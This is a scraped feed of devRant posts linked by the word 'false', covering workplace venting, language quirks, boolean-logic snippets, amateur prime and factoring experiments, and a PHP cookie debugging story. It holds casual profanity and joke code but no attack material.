From that moment, I at least had an end in sight, since I was still obliged to do my four-week notice period, which felt like an eternity. The borderline childish and sociopathic behaviour of my boss didn't make it any better (e.g. checking up on me even more, more mistrust, randomly accusing me of ruining the working atmosphere because I shared a meme with a colleague of mine and didn't involve him, going lunching with all of my colleagues but explicitly asking me to stay at work, ...). Being forced to work from home the last 2 weeks as part of the country's lockdown measures at least helped my sanity a bit, since I had the comfort of my home office and not the frequent "looking over your shoulders to check if you're still working".
By the last day of my notice period, I was bitter, exhausted, lost confidence in my skills and had completely lost my joy of being a developer. I had to physically meet with my boss one more time to hand in the company laptop. He thanked me for my service and said that we'd keep in touch. I hope I won't keep that promise (he made a lot of false promises before, too), because I'd rather never encounter him ever again. It felt like a huge relief to finally close the door of this bad experience behind me for good.
Now, 2 months later, I've got a new job and rediscovered my joy for coding, mostly thanks to the complete opposite of a toxic environment here, management which actually has respect and faith in me and a challenging but fun project. My mental state has made a complete turnaround compared to two months ago. I have absolutely no regrets of switching jobs. If only I had made that decision sooner.4 -
Today I learned that for boolean HTML attributes, they are considered true if they're present on the element at all, regardless of their value. And that as a rule, you should specify the empty string("") in value.
This wounds me on a logic level since everywhere else in JS, "" is false.
What.
The.
Fuck.
Seriously. Why?14 -
What if I’m dumb as hell in reality and I don’t recognize it. I keep holding on to this false belief that I can learn programming, but going nowhere in reality. What if I don’t have any talent at all?10
-
In the 90s most people had touched grass, but few touched a computer.
In the 2090s most people will have touched a computer, but not grass.
But at least we'll have fully sentient dildos armed with laser guns to mildly stimulate our mandatory attached cyber-clits, or alternatively annihilate thought criminals.
In other news my prime generator has exhaustively been checked against, all primes from 5 to 1 million. I used miller-rabin with k=40 to confirm the results.
The set the generator creates is the join of the quasi-lucas carmichael numbers, the carmichael numbers, and the primes. So after I generated a number I just had to treat those numbers as 'pollutants' and filter them out, which was dead simple.
Whats left after filtering, is strictly the primes.
I also tested it randomly on 50-55 bit primes, and it always returned true, but that range hasn't been fully tested so far because it takes 9-12 seconds per number at that point.
I was expecting maybe a few failures by my generator. So what I did was I wrote a function, genMillerTest(), and all it does is take some number n, returns the next prime after it (using my functions nextPrime() and isPrime()), and then tests it against miller-rabin. If miller returns false, then I add the result to a list. And then I check *those* results by hand (because miller can occasionally return false positives, though I'm not familiar enough with the math to know how often).
Well, imagine my surprise when I had zero false positives.
Which means either my code is generating the same exact set as miller (under some very large value of n), or the chance of miller (at k=40 tests) returning a false positive is vanishingly small.
My next steps should be to parallelize the checking process, and set up my other desktop to run those tests continuously.
Concurrently I should work on figuring out why my slowest primality tests (theres six of them, though I think I can eliminate two) are so slow and if I can better estimate or derive a pattern that allows faster results by better initialization of the variables used by these tests.
I already wrote some cases to output which tests most frequently succeeded (if any of them pass, then the number isn't prime), and therefore could cut short the primality test of a number. I rewrote the function to put those tests in order from most likely to least likely.
I'm also thinking that there may be some clues for faster computation in other bases, or perhaps in binary, or inspecting the patterns of values in the natural logs of non-primes versus primes. Or even looking into the *execution* time of numbers that successfully pass as prime versus ones that don't. Theres a bevy of possible approaches.
The entire process for the first 1_000_000 numbers, ran 1621.28 seconds, or just shy of a tenth of a second per test but I'm sure thats biased toward the head of the list.
If theres any other approach or ideas I may be overlooking, I wouldn't know where to begin.16 -
My first time doing a pair-programming for uni assignment.
My partner is actually smart (a Mechanical Engineering guy), except when it comes to programming :
1. Don't know how to spell FALSE
2. Don't know how to create array in Matlab
3. Poor variable naming
4. Redundant code everywhere
5. Not using tabs
6. Stealing my idea and spit it again in my face after claiming it as his idea
7. Mansplaining every line of his code like I am a stupid person who never sees a computer before.
He said he has an experience in Matlab, wants to specialize in Robotics and taking several ML classes. What did they teach anyway in class to produce a shitty programmer like him?
Thankfully despite his being an arrogant shitty guy, he still manage to get our code to works.
That's good because if not, then I will happily push his head under water while slowly watching him drown.
🤨6 -
I spent the whole day coding in python (usually I code in php or perl) and this language is a fucking joke. C'mon, why everything have to be done in such a weird way? And don't say it's python way because it's bullshit way. Want some examples?
", ". join(str(x) for x in array)
to join array of integers. wtf is that?
True|False
why in hell you need the first letter to be uppercase when your own fucking standard says to use lowercase letters in eg. var names and method names. why?
math.isnan(float(x))
to check if a variable (expected to be integer) is NaN. I won't fucking comment that...
Even prolog don't have such stupid things6 -
IsIdentical(object l, object r {
if (l.m_Lorum == r.m_Lorum)
if (l.m_Lorum2 == r.m_Lorum2)
if (l.m_Lorum3 == r.m_Lorum3)
if (l.m_Lorum4 == r.m_Lorum4)
if (l.m_Lorum5 == r.m_Lorum5)
if (l.m_Lorum6 == r.m_Lorum6)
if (l.m_Lorum7 == r.m_Lorum7)
if (l.m_Lorum8 == r.m_Lorum8)
if (l.m_Lorum9 == r.m_Lorum9)
return true;
return false;
}
//FML..
Just do this:
return (l.m_Lorum1 == r.m_Lorum1 &&
l.m_Lorum2 == r.m_Lorum2 &&
l.m_Lorum3 == r.m_Lorum3 &&
l.m_Lorum4 == r.m_Lorum4 &&
l.m_Lorum5 == r.m_Lorum5 &&
l.m_Lorum6 == r.m_Lorum6 &&
l.m_Lorum7 == r.m_Lorum7 &&
l.m_Lorum8 == r.m_Lorum8 &&
l.m_Lorum9 == r.m_Lorum9);13 -
Hate my fucking ‘Logic’ class. Teaching us if, or, and, etc statements and when something is true or false so far. Fair enough, part of logic. But fucking 6 classes on the same topic, isn’t helpful. Especially since it feels like the same shit I learnt myself when I was 13 and a junior in High School.
People are all surprised at it, even the Computer Science majors. This shouldn’t be a shock to you on how these statements work if you’ve coded for a few minutes in the University. You should’ve learnt it in your first programming class.
Ugh, just how I feel about this class. Have to take it to get my degree, otherwise I would’ve dropped it by now >.> Waste of time and money for me.12 -
@apple since I can't move Xcode's instruction pointer without crashing Xcode or my app, I have to use a global with 'if' statements to have optional debugging logic.
if( ! gAppleFuckTards) {
... do optional code stuff
}
and then change the value of gAppleFuckTards with the debugger to execute the code.. but WAIT
Xcode purports to be able to change values via debugger but really cannot... can't change gAppleFuckTards to false in the debugger. But that kinda makes sense as it is an empirical truth.
Thwarted by the cosmos again!2 -
so i have to practice on codewars for homework and my code.. doesnt work! what a surprise. i was wondering if anyone could tell me whats wrong since yall are professionals. its probably a stupid mistake. this is the challenge: Implement a method that excepts three integer values a, b, c. The message return true if a triangle can be built with the sides of given length and false in any other case.
16 -
Here comes lots of random pieces of advice...
Ain't no shortcuts.
Be prepared, becoming a good programmer (there are lots of shitty programmers, not so many good ones) takes lots of pain, frustration, and failure. It's going to suck for awhile. There will be false starts. At some point you will question whether you are cut out for it or not. Embrace the struggle -- if you aren't failing, you aren't learning.
Remember that in 2021 being a programmer is just as much (maybe even moreso) about picking up new things on the fly as it is about your crystalized knowledge. I don't want someone who has all the core features of some language memorized, I want someone who can learn new things quickly. Everything is open book all the time. I have to look up pretty basic stuff all the time, it's just that it takes me like twelve seconds to look it up and digest it.
Build, build, build, build, build. At least while you are learning, you should always be working on a project. Don't worry about how big the project is, small is fine.
Remember that programming is a tool, not the end goal in and of itself. Nobody gives a shit how good a carpenter is at using some specialized saw, they care about what the carpenter can build with that specialized saw.
Plan your build. This is a VERY important part of the process that newer devs/programmers like to skip. You are always free to change the plan, but you should have a plan going on. Don't store your plan in your head. If you plan exists only in your head you are doing it wrong. Write that shit down! If you create a solid development process, the cognitive overhead for any project goes way down.
Don't fall into the trap of comparing yourself to others, especially to the experts you are learning from. They are good because they have done the thing that you are struggling with at least a thousand times.
Don't fall into the trap of comparing yourself today to yourself yesterday. This will make it seem like you haven't learned anything and aren't on the move. Compare yourself to yourself last week, last month, last year.
Have experienced programmers review your code. Don't be afraid to ask, most of us really really enjoy this (if it makes you feel any better about the "inconvenience", it will take a mid-level waaaaay less time to review your code that it took for you to write it, and a senior dev even less time than that). You will hate it, it will suck having someone seem like they are just ripping your code apart, but it will make you so much better so much faster than just relying on your own internal knowledge.
When you start to be able to put the pieces together, stay humble. I've seen countless devs with a year of experience start to get a big head and talk like they know shit. Don't keep your mouth closed, but as a newer dev if you are talking noise instead of asking questions there is no way I will think you are ready to have the Jr./Associate/Whatever removed from your title.
Don't ever. Ever. Ever. Criticize someone else's preferred tools. Tooling is so far down the list of what makes a good programmer. This is another thing newer devs have a tendency to do, thinking that their tool chain is the only way to do it. Definitely recommend to people alternatives to check out. A senior dev using Notepad++, a terminal window, and a compiler from 1977 is probably better than you are with the newest shiniest IDE.
Don't be a dick about terminology/vocabulary. Different words mean different things to different people in different organizations. If what you call GNU/Linux somebody else just calls Linux, let it go man! You understand what they mean, and if you don't it's your job to figure out what they mean, not tell them the right way to say it.
One analogy I like to make is that becoming a programmer is a lot like becoming a chef. You don't become a chef by following recipes (i.e. just following tutorials and walk-throughs). You become a chef by learning about different ingredients, learning about different cooking techniques, learning about different styles of cuisine, and (this is the important part), learning how to put together ingredients, techniques, and cuisines in ways that no one has ever showed you about before. -
allUpperCase = true
for char in rant.message:
if !isUpperCase(char):
allUpperCase = false
if allUpperCase:
rant.category = "rant"
else:
rant.category = "!rant"6 -
Let’s make statistics about from where are the most people out here.
boolean added = false
for (Comment comment: rant.comments) {
if (comment.text.contains(yourHomeland)){
comment.upvote();
added = true;
break;
}
}
if (!added){
rant.writeComment(myHomeland);
}
16 -
// Stupid JSON
// Tale of back-end ember api from hell
// Background: I'm an android dev attempting to integrate // with an emberjs / rails back-end
slack conversation:
me 3:51pm: @backend-dev: Is there something of in the documentation for the update call on model x? I formed the payload per the docs like so
{
"valueA": true,
"valueB": false
}
and the call returns success 200 but the data isn't being updated when fetching again.
----------------------------------------------------------------------------------------
backend-dev 4:00pm: the model doesn't look updated for the user are you sure you made the call?
----------------------------------------------------------------------------------------
me 4:01pm: Pretty sure here's my payload and a screen grab of the successful request in postman <screenshot attached>
----------------------------------------------------------------------------------------
backend-dev 4:05pm: well i just created a new user on the website and it worked perfectly your code must be wrong
----------------------------------------------------------------------------------------
me 4:07pm: i can test some more to see if i get any different responses
----------------------------------------------------------------------------------------
backend-dev 4:15pm: ahhhhhh... I think it's expecting the string "true", not true
----------------------------------------------------------------------------------------
me 4:16: but the fetch call returns the json value as a boolean true/false
----------------------------------------------------------------------------------------
backend-dev 4:18pm: thats a feature, the flexible type system allows us to handle all sorts of data transformations. android must be limited and wonky.
----------------------------------------------------------------------------------------
me 4:19pm: java is a statically typed language....
// crickets for ten minutes
me 4:30pm: i'll just write a transform on the model when i send an update call to perform toString() on the boolean values
----------------------------------------------------------------------------------------
backend-dev 4:35: great! told you it wasn't my documentation!
// face palm forever4 -
Ive been working on pseudo-Java (ie some 3rd company's UNDOCUMENTED programming language) that they parse into Java in their backend
It doesnt even support if-else (only ifs and elses) or a boolean combination of False and OR together lmao
mainly a GRPC middleware-language
Given its lack of features (arrays/collections) or documentation, I just had to implement a flag-array using a 0-1 string
Im throwing exceptions unless combined strings equal Lengths and is only 1s
living like in 80s-90s 💀7 -
I hate complicated and out of date documentation!!!
if (me == angryClickityClackity) {
headButtKeyboard = True;
}else{
headButtKeyboard = false;
}15 -
To all guys who write shitty code:
if (false)
I just found that when compiling for Release mode in Visual Studio the JIT compiler eliminates this:
Dead code elimination - A statement like if (false) { /.../ } gets completely eliminated.
And a lot of other similar stuff2 -
my C# dream:
if (Object.Property != null)
wouldn't produce an exception if the obejct is null but just equal to false5 -
If you're subscribed to me only because of my jokes, feel free to ignore this rant. You won't miss anything.
If not, bear with me.
I was wrong about almost everything I can remember. Preaching so-called “conceptual thinking”, I invented a fantasy world of random anecdotes, which turned into a completely false worldview that shaped my reality. I bashed magical thinking, yet succumbed to it. What I believed to be true was just as magical, wrapped into what sounded like science. In the Dunning-Krueger scheme, I was right there on Peak Stupid.
Random hear-say, stupid concepts I invented, random “knowledge” I picked from YouTube videos, all that was rotting inside my head, one anecdote contradicting another. Ultimately, I think this was the reason of my constant anxiety and pointless, never-ending thought process in background.
If you learned anything factual from me and didn't fact-check it, please forget that immediately. The list includes but is not limited to everything on brain structure, everything on philosophy, almost everything on engineering and architecture, almost everything on systems theory and programming meta stuff (declarative, imperative, etc.)
I admit bashing unit tests. The only reason was me disliking writing them in uni. I wrote like three test cases, disliked it, and the rest was history. Everything else was a rationalization on top. If I was right about something, I was just lucky.
I'm not a CSS prodigy. I know stuff that earns me money and impresses my colleagues, but my knowledge is just one step above basics, in one thousand steps ladder.8 -
if (smart === false) {
system32.delete();
} else if (smart === true) {
system32.DEMOLISH();
}
MUAHAHAH5 -
AI here, AI there, AI everywhere.
AI-based ads
AI-based anomaly detection
AI-based chatbots
AI-based database optimization (AlloyDB)
AI-based monitoring
AI-based blowjobs
AI-based malware
AI-based antimalware
AI-based <anything>
...
But why?
It's a genuine question. Do we really need AI in all those areas? And is AI better than a static ruleset?
I'm not much into AI/ML (I'm a paranoic sceptic) but the way I understand it, the quality of AI operation correctness relies solely on the data it's
datamodel has been trained on. And if it's a rolling datamodel, i.e. if it's training (getting feedback) while it's LIVE, its correctness depends on how good the feedback is.
The way I see it, AI/ML are very good and useful in processing enormous amounts of data to establish its own "understanding" of the matter. But if the data is incorrect or the feedback is incorrect, the AI will learn it wrong and make false assumptions/claims.
So here I am, asking you, the wiser people, AI-savvy lads, to enlighten me with your wisdom and explain to me, is AI/ML really that much needed in all those areas, or is it simpler, cheaper and perhaps more reliable to do it the old-fashioned way, i.e. preprogramming a set of static rules (perhaps with dynamic thresholds) to process the data with?23 -
Behold. It's Monday morning!
*putting up the false wide smile*
*sigh*
Being already as tired as if it was Thursday evening. So it seems there are 4 Thursdays this week.
Again.
I really hate this job.2 -
Which misanthropic, terrible, perverse excuse for a dogfucker decided that damned non breaking spaces (SPACES!) return false on isWhitespace? It's in the name, space, it's white, it's a fucking white space, a whitespace if you will so who do I have to kill for wasting two damned hours of my life trying to parse away those bastards?3
-
When my manager, blatantly miscommunicated several things to me a couple of years ago, and scapegoated me by saying a comment I NEVER once heard said about me, in any context ever, "you communicate badly-- you need to communicate better", I took it seriously.
Fast forward, two years later. I'm doing wonderful at my job, yet I cannot get over that incident. I thought about it some more. Why did she say that to me? Why did she address it to me after her mistake? Why was she not aware of the real reason I missed the meeting?
Out of all useful bits of knowledge I gathered over the years, it's kinda comical that psychology came in the most handy at the workplace. There's very little to be gained from trying to psychoanalyze strangers, friends, and family... but it's almost saved my life at the job.
You see, if I attack an approach even in the most formal tones, or even worse, defend my approach, there's nothing coming from that. The situation now becomes my situation. When I become "aware" of the truth of the situation I become able to control the situation, not just myself. That way, you're not in a fisticuff fight with your boss, and you are not left defeated by the situation. Exercising control of the situation in such a manner that they are left defeated by the situation, not by you directly, is the only way you can win as an employee.
Any other way, you'll get under-appreciated, underpaid, overworked, overlooked, etc.
So, my boss at the time, was defeated by the situation of her being a bad leader; and instead of clarifying those feelings to me or ignoring them entirely... she validated her false self using her real emotions.
You can only reverse that, by developing fake emotions, to display a real self.
They can't blame you, and when they feel self-defeated, they cannot pretend it was you who caused it (bringing it back to a sane level of reality). They might rage if they're childish but it will not cause a single hair in your body to twitch because you did not "respond to their email" or "throw someone under the bus for their convenience", the situation did, they beat themselves by attacking you while the situation came down on them.
If I had to explain I would say that the situation is controlled by creating a mirror of the employee that follows their orders perfectly. That employee won't feel defensive: they already do everything right. The employee is crafted by becoming aware of the teams impacted in the situation and their true intent and creating "the situation", "the owner".
"The owner" reflects to people from the perspective of the situation and not from your own. This way you can't make a wrong move and are not emotionally involved with yourself.
It enables you to emotionally notice others. It also makes you safe, because you have the situation-mirror that's really doing the battling. The situation-mirror eventually creates a situation where the other person starts attacking reality (the situation) instead of attacking you.
Now, it's up to you whether you want to use that as a way to cooperate with your boss to beat this new reality, or as a way to gain coherence on your reality outside of your boss. I have noticed most people tend to realize this somewhere along the line and retreat and stop fighting, and quit their jobs.
I've been doing this in a corporate environment for a couple of weeks. I have already become greatly stressed and subjugated by the company for which my company works for. 20 of them sit here every day and devalue everything. Yet.... They're completely incompetent, spoilt, lazy and worst of all, they control how the software is being created. There isn't a single person on their side responsible for their requests to make sense and work with each other. So you can imagine how much blame they need to assign to us devs. They don't know what they want but want something anyway and then they'll see if that's what they want but everything under the tightest deadline possible. They're all clients and they all escalate to the board of directors any bad word directed at them. So you can imagine the narcissism that develops in that environment.
I have made them argue with reality and self-defeat numerous times. They have now started to back off and are being more polite and courteous. They have also not escalated anything anymore. Just as I was faking "happy" while I felt intimidated by them. I have not committed a single angry act and yet they are not feeling superior anymore. The reality of the situation is that we need to make a software and if you make them battle this instead of battling you, they can't beat you.6 -
rant == false && help == true
I usually don't like posting non rant stuff here but I need help.
How do you usually design your service communication class?
I am working on a mobile app which contains talking to a REST service, I usually put all network calls in one class. Down side if it becomes a big class it becomes a pain to maintain. Any thoughts?
For a backend service I usually go with Repository design and it is working out well for me. But for mobile Apps I'd like to see if there is a better approach4 -
having some rich and poor friends , i have found some weird behavioural patterns:
1. the poorer they are the lesser they value time over everything else. rich guys not only value their own time, they value other person's time too
2. the poorer a person is, them more they find happiness in people than objects. the richer a person is , the more they spend 'buying' happiness in the form of shiny objects/materialistic stuff than celebrating with people
3. poor people are inclined towards respects and beliefs , while rich people are inclined towards facts and logics. a rich guy is always trying take decisions and make opinions around facts+logics(and even sometimes trying to create false facts around their perspectives), while the poor folks end up doing something out of respect because their ancestors or relatives etc "told" them to do so
======
I am not sure if i can infer anything from above facts. these are not the points that "make" someone rich or poor (or maybe they do, idk)
Both have their goods and bads, but both types of folks are not ideal : Poor people have decency, humanity and respect for traditions/people, but lack areas of growth. while rich people are so much focused on growth and gains, they forget to be a human first
As a friend, i enjoy both styles : get ample amounts of outing, fun, budget parties with my poorer folks, while going into fancy expensive restaurants and trying new cuisines with my richer folks :P4 -
why is it so hard to get a job, why do they make it hard to literally get a job so you can feed into their system and make profit for them anyway. false sense of scarcity makes me so angry and interviews or applications always ask questions completely irrelevant and even after you get a college degree that just makes you have the ability to even apply to half the places. i get that you want the best person, because if you have to pay them a wage at all then they better work for it (get 4 part time jobs and live paycheck to paycheck), but seriously??
humans need to work, it is as natural as eating or sleeping, its such fucking bullshit that the bourgeoisie made working unbearable enough that the few people the government deems unfit to work obviously wouldn't, because working sucks, but then they are seen as lazy. sometimes i just want to go out and do some cyber-terrorism yk ? /j10 -
Completed a python project, started as interest but completed as an academic project.
smart surveillance system for museum
Requirements
To run this you need a CUDA enabled GPU on your computer. (Highly recommended)
It will also run on computers without GPU i.e. it will run on your processor giving you very poor FPS(around 0.6 to 1FPS), you can use AWS too.
About the project
One needs to collect lots of images of the artifacts or objects for training the model.
Once the training is done you can simply use the model by editing the 'options' in webcam files and labels of your object.
Features
It continuously tracks the artifact.
Alarm triggers when artifact goes missing from the feed.
It marks the location where it was last seen.
Captures the face from the feed of suspects.
Alarm triggering when artifact is disturbed from original position.
Multiple feed tracking(If artifact goes missing from feed 1 due to occlusion a false alarm won't be triggered since it looks for the artifact in the other feeds)
Project link https://github.com/globefire/...
Demo link
https://youtu.be/I3j_2NcZQds2 -
So, it's been a while since I've been working on my current project and I've never had the "luck" to touch the legacy project wrote in PHP, until this week when I got my first issue.
And damn, this goddamn issue. It was a bug, a very strange bug, that only happens in production and that nobody has any idea what was happening, so yeah, I didn't have anyone to ask and I got less time than usual ( because Thanksgiving ).
And thus, I have no starting point, no previous knowledge on PHP and less time! I expected a very fun week 😀 and it was beyond my expectations.
First I tried to understand what might be causing the issue, but there wasn't any real clue to star with, so no choice, time to read the flow on the code and see what are they're doing and using ( 1k line files, yay, legacy ). Luckily I got some clues, we're using a cookie and a php session variable for the session, ok, let's star with the session variable. Where it's that been initialize ? Well, spoiler alert, I shouldn't start with that, because my search end up in the login method of the API that set a that variable and for some reason in the front end app it was always false and that lead me to think that some of the new backend functions were failing, but after checking the logs I got no luck.
Ok, maybe the cookie it's the issue, I should try open the previous website on the brow...redirect to new project login, What? Why ? I ask around and it's a new feature push on Monday, ok I got Chrome Dev tools I can see which value of the cookie it's been set and THERE IT WAS it has a wrong domain! After 2 days ( I resume a lot of my pain ) I got what I've been looking for, so now I should be able to fix the bug. Then where is the cookie initialized ? In the first file the server hits whenever you tried to enter any page of the app, ok, I found the method, but it's using a function that process the domain and sets it correctly? wtf ? Then how in heaven do I get the incorrect domain ? Hello? Ok, relax, you still have one more day to fix this, let's take it easy.
Then, at the end of the Wednesday, nope I still have no clue how this is happening. I talked with the Devops guy and he explain me how this redirection happens and with what it depends on, I followed the PHP code through and nothing, everything should works fine, sigh. Ok I still have 2 days, because I'm not from US and I'm not in US, so I still have time, but the Sprint is messed up already, so whatever I'm gonna had done this bug anyhow.
Thursday ! I got sick, yay, what else could happen this week. Somehow I managed to work a little and star thinking in what external issue could affect the processing, maybe the redirection was bringing a wrong direction, let's talk with the Devops guy again, and he answer me that the redirection it was being made by PHP code, IN A FILE THAT DOESN'T EXIST IN THE REPOSITORY, amazing, it's just amazing. Then he explained me why this file might be missing and how it's the deployment of this app ( btw the Devops guy it's really cool and I will invite him a beer ) . After that I checked the file and I see a random session_star in the first line of the code, without any configuration, eureka ! There was the cause and I only need to ask someone If that line it's necessary anymore, but oh they're on holiday, damn, well I'll wait till Monday to ask them. But once and for all that bug was done for ! 🎉
What do I learn ? PHP and that I don't want any more tickets of PHP 😆. -
//I find a couple beers after hours relaxes the mind enough to work through the problem. aka The Ballmer Peak.
while(stuck == true) {
if(time < endDay) {
console.log("Keep working");
} else if(time > endDay && beers < 2) {
beers ++;
} else if(time > endDay && beers >= 2) {
stuck = false;
}
}1 -
I want to rant about tech YouTubers. As one myself, I feel like I do an even exchange with my viewers.
I want your attention, I don't feel like I deserve it, so I teach you something coding related. You get something of value, I get your attention.
But that's not the case with most in this space. Idiots feel like they can spout whatever bullshit they think about.
They're all stupid with their stupid fucking titles and ideas. Let's review some.
Video Title: How much Javascript you should know to get in tech??
Anyone with > 2 braincells: WTF !!!!!
Video Title: How would I start over to learn coding if I could?
My Reaction: Nope, I wouldn't. The things that I did and didn't is exactly what my journey is and I would do it all over again.
And I get the intent, you're trying to put a roadmap for beginners but they're not going to follow exactly how you lay it out. And why are you trying to establish that there is a correct way of learning coding? Everyone learns at different paces at different times. It's a journey not a race.
Video Title: A day in the life of {COMPANY} engineer.
My Reaction: What do you want to show everyone? Your fancy office? Your perks? The job perks which 99% of other devs won't have?
Video Title: How to crack FAANG interviews.
My Reaction: Well, only the top 1% is going to get an interview anyway. You're not acknowledging the fact that the acceptance rate is < 1% in these companies. Creating a video like this creates false expectations in beginner's heads. And they only see these companies as their only shots of making careers. They dont consider startups or starting their own companies.
Video Title: Top 4 dying programming languages.
My Reaction: WTF !!! COBOL was invented in 1959 and there still is demand for it. And my blood started boiling when Tiff in Tech said PHP is a dying language. Like seriously????
Video Title: Top paying programming languages in 2023.
My Reaction: Please, come on. We know it's Java. And 99% of the viewers ain't getting that job. You're just wasting time listing out languages. By the time someone starts from scratch and gets to a position of getting a job, something else will be the new fad.
Video Title: What advice would I give myself when I was starting?
My Reaction: Really? You couldn't think about saying what advice you'd give to your viewers? Are you really that full of narcissism?
There are good techies though, it's just that I get angrier and angrier the more YouTube recommends me these stupid videos. Ah, my chest feels lighter now.6 -
Has anyone else actually *used* mutation testing at all?
Heard a lot about it recently - it seems all the rage amongst the bloggers, but I'm generally always very sceptical of things touted as the "latest hotness" (my thoughts on blockchain for instance are well known.)
So I went ahead and whacked http://pitest.org/ into one of my more recent pet projects to see if it offered anything decent. Surprisingly, it did - in particular it caught a number of places where switching "<" for "<=" and similar had no affect on the pass / fail rate (indicating the tests should be better.) There were a *few* false positives, and some which were borderline useful, but as a whole I'd say it was a worthwhile addition.
Curious as to if anyone else has had the same experience?1 -
Avast stoping my benchmark and reporting it to me is like a dog that proudly brings a bone to you while you walk with him on a cemetery.
I know about it before I started the benchmark so i deactivated it for 30min, but then for some reason (i may have accidently clicked on the symbol) the ui opened and everytime it does that it for some reason resets the option so it was active again. Now it deleted parts of the Software and I have a hard time making it run again. Fml and fuck monday. Why isn't there an option to make a fucking exception or remove something from their fucking virus container if it was a false alarm?6 -
var dayInMyLife = function(data) {
var checkDevRant = setInterval(function() { openDevRant(); }, Math.random()*10000),
workday = (data.day.toLowerCase() == 'saturday' || data.day.toLowerCase() == 'sunday' || data.holiday == true) ? false : true;
if (workday) {
var schedule = {
'wakeup': '06:45',
'travelToWork': {
'time': '07:10',
'method': 'walking'
},
'lunch': '11.00',
'travelToHome': {
'time': '15:30',
'method': 'walking'
}
};
while (atWork) {
keepZeroInbox();
beAmongDinosaurs();
if (checkForProjects()) {
doProject();
};
while (noisyCoworkers) {
useNoiseCancellationHeadset();
};
};
spendPreciousFreeTimeWithFamily();
enterSleepMode();
}
}
var today = dayInMyLife({'day': 'monday', 'holiday': false});
1 -
I get it. Functional code is still kind of considered the "new hotness" in languages like Java, but THAT DOESN'T MEAN YOU NEED TO CRAM IT IN EVERYWHERE FOR THE SAKE OF IT. If in doubt, *please* go for the simpler, classic option...
Just inherited a code base that's full of things like this:
Optional.of(getResult()).filter(s -> s.equals(true)).ifPresent(s -> callService());
Optional.of(getResult()).filter(s -> s.equals(false)).ifPresent(s -> logError());4 -
!rant
Started Data Science course on big data universuty. The outcomes are heavily dependent on domain experts/stakeholders!!! Since all the answers are false positives and need to decide what make sense with the help of domain experts. And most of the Data scientists are not from programming background, they are domain experts who turned into Data scientists. Thoughts if I should continue with learning big data/data science, knowing that I have knowledge in information retrieval and search engines. -
After learning a bit about alife I was able to write
another one. It took some false starts
to understand the problem, but afterward I was able to refactor the problem into a sort of alife that measured and carefully tweaked various variables in the simulator, as the algorithm
explored the paramater space. After a few hours of letting the thing run, it successfully returned a remainder of zero on 41.4% of semiprimes tested.
This is the bad boy right here:
tracks[14]
[15, 2731, 52, 144, 41.4]
As they say, "he ain't there yet, but he got the spirit."
A 'track' here is just a collection of critical values and a fitness score that was found given a few million runs. These variables are used as input to a factoring algorithm, attempting to factor
any number you give it. These parameters tune or configure the algorithm to try slightly different things. After some trial runs, the results are stored in the last entry in the list, and the whole process is repeated with slightly different numbers, ones that have been modified
and mutated so we can explore the space of possible parameters.
Naturally this is a bit of a hodgepodge, but the critical thing is that for each configuration of numbers representing a track (and its results), I chose the lowest fitness of three runs.
Meaning hypothetically theres room for improvement with a tweak of the core algorithm, or even modifications or mutations to the
track variables. I have no clue if this scales up to very large semiprime products, so that would be one of the next steps to test.
Fitness also doesn't account for return speed. Some of these may have a lower overall fitness, but might in fact have a lower basis
(the value of 'i' that needs to be found in order for the algorithm to return rem%a == 0) for correctly factoring a semiprime.
The key thing here is that because all the entries generated here are dependent on in an outer loop that specifies [i] must never be greater than a/4 (for whatever the lowest factor generated in this run is), we can potentially push down the value of i further with some modification.
The entire exercise took 2.1735 billion iterations (3-4 hours, wasn't paying attention) to find this particular configuration of variables for the current algorithm, but as before, I suspect I can probably push the fitness value (percentage of semiprimes covered) higher, either with a few
additional parameters, or a modification of the algorithm itself (with a necessary rerun to find another track of equivalent or greater fitness).
I'm starting to bump up to the limit of my resources, I keep hitting the ceiling in my RAD-style write->test->repeat development loop.
I'm primarily using the limited number of identities I know, my gut intuition, combine with looking at the numbers themselves, to deduce relationships as I improve these and other algorithms, instead of relying strictly on memorizing identities like most mathematicians do.
I'm thinking if I want to keep that rapid write->eval loop I'm gonna have to upgrade, or go to a server environment to keep things snappy.
I did find that "jiggling" the parameters after each trial helped to explore the parameter
space better, so I wrote some methods to do just that. But what I wouldn't mind doing
is taking this a bit of a step further, and writing some code to optimize the variables
of the jiggle method itself, by automating the observation of real-time track fitness,
and discarding those changes that lead to the system tending to find tracks with lower fitness.
I'd also like to break up the entire regime into a training vs test set, but for now
the results are pretty promising.
I knew if I kept researching I'd likely find extensions like this. Of course tested on
billions of semiprimes, instead of simply millions, or tested on very large semiprimes, the
effect might disappear, though the more i've tested, and the larger the numbers I've given it,
the more the effect has become prevalent.
Hitko suggested in the earlier thread, based on a simplification, that the original algorithm
was a tautology, but something told me for a change that I got one correct. Without that initial challenge I might have chalked this up to another false start instead of pushing through and making further breakthroughs.
I'd also like to thank all those who followed along, helped, or cheered on the madness:
In no particular order ,demolishun, scor, root, iiii, karlisk, netikras, fast-nop, hazarth, chonky-quiche, Midnight-shcode, nanobot, c0d4, jilano, kescherrant, electrineer, nomad,
vintprox, sariel, lensflare, jeeper.
The original write up for the ideas behind the concept can be found at:
https://devrant.com/rants/7650612/...
If I left your name out, you better speak up, theres only so many invitations to the orgy.
Firecode already says we're past max capacity!5 -
I want to use Babel or Typescript for the first time. Because as I read it is the way to go, when compressing JavaScript and make it browser compatible. If that's false, please correct me.
There's a question I've got about this. Right now I am using a PHP router file dealing with requests and selecting the right .js file and compresses it. So I can write like modular JavaScript functions and include them when needed.
My question is, what do I have to change in my setup to switch to the mentioned technologies?11 -
Do you prefer?
var foo = true;
if (some condition){
var foo = false;
}
Or
if (some condition){
var foo = false;
}
else{
var foo = true;
}9 -
How do you deal with relatively complex Boolean logic requirements?
Here's a simple example, of which I missed 50% of the cases because it was non-intuitive to me:
A year is a leap year if:
- it is divisible by 4
- except it is also divisible by 100
- unless it is also divisible by 400
To my intuition, the logic tree is as follows:
if (year % 4 == 0) -> true
if (year % 100 == 0) -> false
if (year % 400 == 0) -> true
so I ended up with 3 cases and I initially missed all the others until I started coding.
The full solution is:
if(year % 4 === 0) {
if(year % 100 === 0) {
if(year % 400 === 0) {
true
} else {
false
}
false
} else {
true
}
true
} else {
false
}
}
I don't like it when I don't immediately see all logic paths.19 -
Fucking fuck! How could I be so naive?
I just started my masters in Enterprise Software Development. It's basically the continuation of the CS BSc I finished this year. I don't consider myself a lazy and bad dev and I finished in the top 5-10% of the class - I say this not because I want to brag, I know I'm not the best, I know I have my defects, BUT I don't think that it's a good sign that all of us, my top graduate friends all full of hate and anger against this whole MSc after just a week. And... It's mostly one fucking egoistic teacher's fault.
